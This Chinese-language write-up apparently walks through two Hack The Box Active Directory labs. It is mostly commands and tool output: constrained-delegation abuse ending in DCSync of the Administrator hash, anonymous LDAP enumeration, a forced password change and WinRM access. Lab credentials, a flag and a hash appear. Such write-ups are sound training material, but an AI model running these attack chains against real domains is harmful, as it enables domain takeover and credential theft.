 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.4.1

[*] Connecting to '10.129.234.50:5985' as 'Marie.Curie'
[-] Failed to authenticate the user Marie.Curie with ntlm

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ evil-winrm-py -i $ip -u $user2 -p $pass2
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.4.1

[*] Connecting to '10.129.234.50:5985' as 'HELEN.FROST'
evil-winrm-py PS C:\Users\Helen.Frost\Documents> cd ,,.
At line:1 char:4
+ cd ,,.
+    ~
Missing argument in parameter list.

At line:1 char:5
+ cd ,,.
+     ~
Missing argument in parameter list.
evil-winrm-py PS C:\Users\Helen.Frost\Documents> cd ../
evil-winrm-py PS C:\Users\Helen.Frost> cd Desktop
evil-winrm-py PS C:\Users\Helen.Frost\Desktop> dir


    Directory: C:\Users\Helen.Frost\Desktop


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-ar---         9/20/2025  10:06 PM             34 user.txt                                                              


evil-winrm-py PS C:\Users\Helen.Frost\Desktop> type user.txt
5db9ac9e78434e1c6bc501a39c0bb3c2

提权

查看特权

evil-winrm-py PS C:\Users\Helen.Frost\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                                    State  
============================= ============================================================== =======
SeMachineAccountPrivilege     Add workstations to domain                                     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                                       Enabled
SeEnableDelegationPrivilege   Enable computer and user accounts to be trusted for delegation Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                                 Enabled
evil-winrm-py PS C:\Users\Helen.Frost\Desktop>

存在SeEnableDelegationPrivilege特权，允许设置委派

但是当前用户创建机器权限是没有的

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc ldap $ip -u $user1 -p $pass1 -M maq
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
LDAP        10.129.234.50   389    DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:redelegate.vl) (signing:None) (channel binding:No TLS cert) 
LDAP        10.129.234.50   389    DC               [+] redelegate.vl\Marie.Curie:Fall2024! 
MAQ         10.129.234.50   389    DC               [*] Getting the MachineAccountQuota
MAQ         10.129.234.50   389    DC               MachineAccountQuota: 0

没法创建机器用户和dns，放弃无约束委派，配置一个针对dc的约束委派

evil-winrm-py PS C:\Users\Helen.Frost\Desktop> Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $
True
evil-winrm-py PS C:\Users\Helen.Frost\Desktop> Set-ADObject -Identity "CN=FS01,CN=COMPUTERS,DC=REDELEGATE,DC=VL" -A
dd @{"msDS-AllowedToDelegateTo"="ldap/dc.redelegate.vl"}

直接打一个约束委派，先把fs01改密码

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb $ip -u $user2 -p $pass2 -M change-password -o USER='FS01$' NEWPASS=wackyMAKER1!
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\HELEN.FROST:wackyMAKER1! 
CHANGE-P... 10.129.234.50   445    DC               [+] Successfully changed password for FS01$

之后直接委派，委派dc

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb $ip -u $user2 -p $pass2 -M change-password -o USER='FS01$' NEWPASS=wackyMAKER1!
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\HELEN.FROST:wackyMAKER1! 
CHANGE-P... 10.129.234.50   445    DC               [+] Successfully changed password for FS01$

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ echo user3='FS01$'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ echo pass3='wackyMAKER1!'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ nxc smb $ip -u $user3 -p $pass3
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\FS01$:wackyMAKER1! 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ sudo ntpdate $ip
2025-09-21 02:49:26.412852 (-0400) +0.124303 +/- 0.039395 10.129.234.50 s1 no-leap

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ impacket-getTGT $domain/$user3:$pass3 -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in FS01$.ccache

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ export KRB5CCNAME=FS01\$.ccache 


┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ impacket-getST -spn ldap/dc.redelegate.vl -impersonate dc $domain/$user3 -k -no-pass -dc-ip $ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Impersonating dc
/usr/share/doc/python3-impacket/examples/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
/usr/share/doc/python3-impacket/examples/getST.py:607: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow()
/usr/share/doc/python3-impacket/examples/getST.py:659: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2Proxy
[*] Saving ticket in dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache

直接dcsync

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/Redelegate]
└─$ KRB5CCNAME=dc@ldap_dc.redelegate.vl@REDELEGATE.VL.ccache nxc smb $ip --use-kcache --ntds --user Administrator
SMB         10.129.234.50   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domin:redelegate.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.234.50   445    DC               [+] redelegate.vl\dc from ccache 
SMB         10.129.234.50   445    DC               [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB         10.129.234.50   445    DC               [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.129.234.50   445    DC               Administrator:500:aad3b435b51404eeaad3b435b51404ee:ec17f7a2a4d96e177bfd101b94ffc0a7:::
SMB         10.129.234.50   445    DC               [+] Dumped 1 NTDS hashes to /home/wackymaker/.nxc/logs/ntds/10.129.234.50_None_2025-09-21_025253.ntds of which 1 were added to the database
SMB         10.129.234.50   445    DC               [*] To extract only enabled accounts from the output file, run the following command:
SMB         10.129.234.50   445    DC               [*] cat /home/wackymaker/.nxc/logs/ntds/10.129.234.50_None_2025-09-21_025253.ntds | grep -iv disabled | cut -d ':' -f1
SMB         10.129.234.50   445    DC               [*] grep -iv disabled /home/wackymaker/.nxc/logs/ntds/10.129.234.50_None_2025-09-21_025253.ntds | cut -d ':' -f1

利用hash登陆后获得管理权限，到此结束

baby-wp

Fri, 19 Sep 2025 11:54:55 +0800

前期信息

扫描出来是纯正的域控

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ .----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/wackymaker/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.234.71:53
Open 10.129.234.71:88
Open 10.129.234.71:135
Open 10.129.234.71:139
Open 10.129.234.71:389
Open 10.129.234.71:464
Open 10.129.234.71:445
Open 10.129.234.71:593
Open 10.129.234.71:636
Open 10.129.234.71:3268
Open 10.129.234.71:3269
Open 10.129.234.71:3389
Open 10.129.234.71:5985
Open 10.129.234.71:9389

基本信息

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ cat start.sh 
ip=10.129.234.71
domain=baby.vl
FQDN=BABYDC.baby.vl

入口

查询过了没有smb匿名和rpc匿名，在爆破用户前我需要先查看一下ldap，发现存在匿名

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ nxc ldap $ip -u "" -p ""
LDAP        10.129.234.71   389    BABYDC           [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.71   389    BABYDC           [+] baby.vl\: 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ ldapsearch -x -H ldap://$ip -b "" -s base
# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectclass=*)
# requesting: ALL
#

#
dn:
domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
rootDomainNamingContext: DC=baby,DC=vl
ldapServiceName: baby.vl:babydc$@BABY.VL
isGlobalCatalogReady: TRUE
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 3
supportedLDAPVersion: 2
supportedLDAPPolicies: MaxPoolThreads
supportedLDAPPolicies: MaxPercentDirSyncRequests
supportedLDAPPolicies: MaxDatagramRecv
supportedLDAPPolicies: MaxReceiveBuffer
supportedLDAPPolicies: MaxPreAuthReceiveBuffer
supportedLDAPPolicies: InitRecvTimeout
supportedLDAPPolicies: MaxConnections
supportedLDAPPolicies: MaxConnIdleTime
supportedLDAPPolicies: MaxPageSize
supportedLDAPPolicies: MaxBatchReturnMessages
supportedLDAPPolicies: MaxQueryDuration
supportedLDAPPolicies: MaxDirSyncDuration
supportedLDAPPolicies: MaxTempTableSize
supportedLDAPPolicies: MaxResultSetSize
supportedLDAPPolicies: MinResultSets
supportedLDAPPolicies: MaxResultSetsPerConn
supportedLDAPPolicies: MaxNotificationPerConn
supportedLDAPPolicies: MaxValRange
supportedLDAPPolicies: MaxValRangeTransitive
supportedLDAPPolicies: ThreadMemoryLimit
supportedLDAPPolicies: SystemMemoryLimitPercent
supportedControl: 1.2.840.113556.1.4.319
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 1.2.840.113556.1.4.528
supportedControl: 1.2.840.113556.1.4.417
supportedControl: 1.2.840.113556.1.4.619
supportedControl: 1.2.840.113556.1.4.841
supportedControl: 1.2.840.113556.1.4.529
supportedControl: 1.2.840.113556.1.4.805
supportedControl: 1.2.840.113556.1.4.521
supportedControl: 1.2.840.113556.1.4.970
supportedControl: 1.2.840.113556.1.4.1338
supportedControl: 1.2.840.113556.1.4.474
supportedControl: 1.2.840.113556.1.4.1339
supportedControl: 1.2.840.113556.1.4.1340
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.10
supportedControl: 1.2.840.113556.1.4.1504
supportedControl: 1.2.840.113556.1.4.1852
supportedControl: 1.2.840.113556.1.4.802
supportedControl: 1.2.840.113556.1.4.1907
supportedControl: 1.2.840.113556.1.4.1948
supportedControl: 1.2.840.113556.1.4.1974
supportedControl: 1.2.840.113556.1.4.1341
supportedControl: 1.2.840.113556.1.4.2026
supportedControl: 1.2.840.113556.1.4.2064
supportedControl: 1.2.840.113556.1.4.2065
supportedControl: 1.2.840.113556.1.4.2066
supportedControl: 1.2.840.113556.1.4.2090
supportedControl: 1.2.840.113556.1.4.2205
supportedControl: 1.2.840.113556.1.4.2204
supportedControl: 1.2.840.113556.1.4.2206
supportedControl: 1.2.840.113556.1.4.2211
supportedControl: 1.2.840.113556.1.4.2239
supportedControl: 1.2.840.113556.1.4.2255
supportedControl: 1.2.840.113556.1.4.2256
supportedControl: 1.2.840.113556.1.4.2309
supportedControl: 1.2.840.113556.1.4.2330
supportedControl: 1.2.840.113556.1.4.2354
supportedCapabilities: 1.2.840.113556.1.4.800
supportedCapabilities: 1.2.840.113556.1.4.1670
supportedCapabilities: 1.2.840.113556.1.4.1791
supportedCapabilities: 1.2.840.113556.1.4.1935
supportedCapabilities: 1.2.840.113556.1.4.2080
supportedCapabilities: 1.2.840.113556.1.4.2237
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=baby,DC=vl
serverName: CN=BABYDC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Config
 uration,DC=baby,DC=vl
schemaNamingContext: CN=Schema,CN=Configuration,DC=baby,DC=vl
namingContexts: DC=baby,DC=vl
namingContexts: CN=Configuration,DC=baby,DC=vl
namingContexts: CN=Schema,CN=Configuration,DC=baby,DC=vl
namingContexts: DC=DomainDnsZones,DC=baby,DC=vl
namingContexts: DC=ForestDnsZones,DC=baby,DC=vl
isSynchronized: TRUE
highestCommittedUSN: 118878
dsServiceName: CN=NTDS Settings,CN=BABYDC,CN=Servers,CN=Default-First-Site-Nam
 e,CN=Sites,CN=Configuration,DC=baby,DC=vl
dnsHostName: BabyDC.baby.vl
defaultNamingContext: DC=baby,DC=vl
currentTime: 20250919021248.0Z
configurationNamingContext: CN=Configuration,DC=baby,DC=vl

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

利用nxc获得了一个用户的提示

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ nxc ldap $ip -u "" -p "" --users
LDAP        10.129.234.71   389    BABYDC           [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.234.71   389    BABYDC           [+] baby.vl\: 
LDAP        10.129.234.71   389    BABYDC           [*] Enumerated 9 domain users: baby.vl
LDAP        10.129.234.71   389    BABYDC           -Username-                    -Last PW Set-       -BadPW-  -Description-
LDAP        10.129.234.71   389    BABYDC           Guest                         <never>             0        Built-in account for guest access to the computer/domain
LDAP        10.129.234.71   389    BABYDC           Jacqueline.Barnett            2021-11-21 10:11:03 0
LDAP        10.129.234.71   389    BABYDC           Ashley.Webb                   2021-11-21 10:11:03 0
LDAP        10.129.234.71   389    BABYDC           Hugh.George                   2021-11-21 10:11:03 0
LDAP        10.129.234.71   389    BABYDC           Leonard.Dyer                  2021-11-21 10:11:03 0
LDAP        10.129.234.71   389    BABYDC           Connor.Wilkinson              2021-11-21 10:11:08 0
LDAP        10.129.234.71   389    BABYDC           Joseph.Hughes                 2021-11-21 10:11:08 0
LDAP        10.129.234.71   389    BABYDC           Kerry.Wilson                  2021-11-21 10:11:08 0
LDAP        10.129.234.71   389    BABYDC           Teresa.Bell                   2021-11-21 10:14:37 0        Set initial password to BabyStart123!

但是这个密码既不是这个用户的密码，也没有爆破出来凭证复用，我觉得肯定有用，所以开始枚举漏掉的用户，先查询域内所有信息

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ ldapsearch -H ldap://$ip -x -b "DC=baby,DC=vl" > ldap-anonymous

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ cat ldap-anonymous | grep CN=*
dn: CN=Administrator,CN=Users,DC=baby,DC=vl
dn: CN=Guest,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Guest,CN=Users,DC=baby,DC=vl
memberOf: CN=Guests,CN=Builtin,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=krbtgt,CN=Users,DC=baby,DC=vl
dn: CN=Domain Computers,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Domain Computers,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Domain Controllers,CN=Users,DC=baby,DC=vl
dn: CN=Schema Admins,CN=Users,DC=baby,DC=vl
dn: CN=Enterprise Admins,CN=Users,DC=baby,DC=vl
dn: CN=Cert Publishers,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Cert Publishers,CN=Users,DC=baby,DC=vl
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Domain Admins,CN=Users,DC=baby,DC=vl
dn: CN=Domain Users,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Domain Users,CN=Users,DC=baby,DC=vl
memberOf: CN=Users,CN=Builtin,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Domain Guests,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Domain Guests,CN=Users,DC=baby,DC=vl
memberOf: CN=Guests,CN=Builtin,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Group Policy Creator Owners,CN=Users,DC=baby,DC=vl
member: CN=Administrator,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Group Policy Creator Owners,CN=Users,DC=baby,DC=vl
memberOf: CN=Denied RODC Password Replication Group,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=RAS and IAS Servers,CN=Users,DC=baby,DC=vl
distinguishedName: CN=RAS and IAS Servers,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Allowed RODC Password Replication Group,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Allowed RODC Password Replication Group,CN=Users,DC=baby
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Denied RODC Password Replication Group,CN=Users,DC=baby,DC=vl
member: CN=Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
member: CN=Group Policy Creator Owners,CN=Users,DC=baby,DC=vl
member: CN=Domain Admins,CN=Users,DC=baby,DC=vl
member: CN=Cert Publishers,CN=Users,DC=baby,DC=vl
member: CN=Enterprise Admins,CN=Users,DC=baby,DC=vl
member: CN=Schema Admins,CN=Users,DC=baby,DC=vl
member: CN=Domain Controllers,CN=Users,DC=baby,DC=vl
member: CN=krbtgt,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Denied RODC Password Replication Group,CN=Users,DC=baby,
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
dn: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=baby
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Cloneable Domain Controllers,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Cloneable Domain Controllers,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Protected Users,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Protected Users,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Key Admins,CN=Users,DC=baby,DC=vl
dn: CN=Enterprise Key Admins,CN=Users,DC=baby,DC=vl
dn: CN=DnsAdmins,CN=Users,DC=baby,DC=vl
distinguishedName: CN=DnsAdmins,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=DnsUpdateProxy,CN=Users,DC=baby,DC=vl
distinguishedName: CN=DnsUpdateProxy,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=dev,CN=Users,DC=baby,DC=vl
member: CN=Ian Walker,OU=dev,DC=baby,DC=vl
member: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
member: CN=Hugh George,OU=dev,DC=baby,DC=vl
member: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
member: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
distinguishedName: CN=dev,CN=Users,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
distinguishedName: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
memberOf: CN=dev,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
distinguishedName: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
memberOf: CN=dev,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Hugh George,OU=dev,DC=baby,DC=vl
distinguishedName: CN=Hugh George,OU=dev,DC=baby,DC=vl
memberOf: CN=dev,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
distinguishedName: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
memberOf: CN=dev,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Ian Walker,OU=dev,DC=baby,DC=vl
dn: CN=it,CN=Users,DC=baby,DC=vl
member: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
member: CN=Teresa Bell,OU=it,DC=baby,DC=vl
member: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
member: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
member: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
distinguishedName: CN=it,CN=Users,DC=baby,DC=vl
memberOf: CN=Remote Management Users,CN=Builtin,DC=baby,DC=vl
objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
distinguishedName: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
memberOf: CN=it,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
distinguishedName: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
memberOf: CN=it,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
distinguishedName: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
memberOf: CN=it,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl
distinguishedName: CN=Teresa Bell,OU=it,DC=baby,DC=vl
memberOf: CN=it,CN=Users,DC=baby,DC=vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
ref: ldap://baby.vl/CN=Configuration,DC=baby,DC=vl

将dn筛选出来，我们能获得这些用户

Administrator
Guest
krbtgt
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell
Caroline.Robinson
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Ian.Walker

这里我漏了一张图，打完回来找已经翻不到了，简单来说就是nxc看到了需要更改密码，Caroline.Robinson的密码就是我们之前找到的那个

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ smbpasswd -U Caroline.Robinson -r $ip
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user Caroline.Robinson

改密码后我们就能登陆了，也有winrm权限

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ nxc smb $ip -u $user2 -p 'SunnyDay2025!'
SMB         10.129.42.166   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domin:baby.vl) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.42.166   445    BABYDC           [+] baby.vl\Caroline.Robinson:SunnyDay2025! 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ nxc winrm $ip -u $user2 -p 'SunnyDay2025!'
WINRM       10.129.42.166   5985   BABYDC           [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl)
WINRM       10.129.42.166   5985   BABYDC           [+] baby.vl\Caroline.Robinson:SunnyDay2025! (Pwn3d!)

提权

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ evil-winrm -i $ip -u $user2  -p 'SunnyDay2025!'
                                        
Evil-WinRM shell v3.7 
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline 
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion 
                                        
Info: Establishing connection to remote endpoint 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami /all

USER INFORMATION
----------------

User Name              SID
====================== ==============================================
baby\caroline.robinson S-1-5-21-1407081343-4001094062-1444647654-1115


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                            Attributes
========================================== ================ ============================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators                   Alias            S-1-5-32-551                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
BABY\it                                    Group            S-1-5-21-1407081343-4001094062-1444647654-1109 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents>

打备份管理员，我本来想nxc直接远程抓算了


┌──(wackymaker㉿kali)-[~/tmp/hackthebox/baby]
└─$ nxc smb $ip -u $user2 -p ^[[200~ -p 'SunnyDay2025!' -M backup_operator
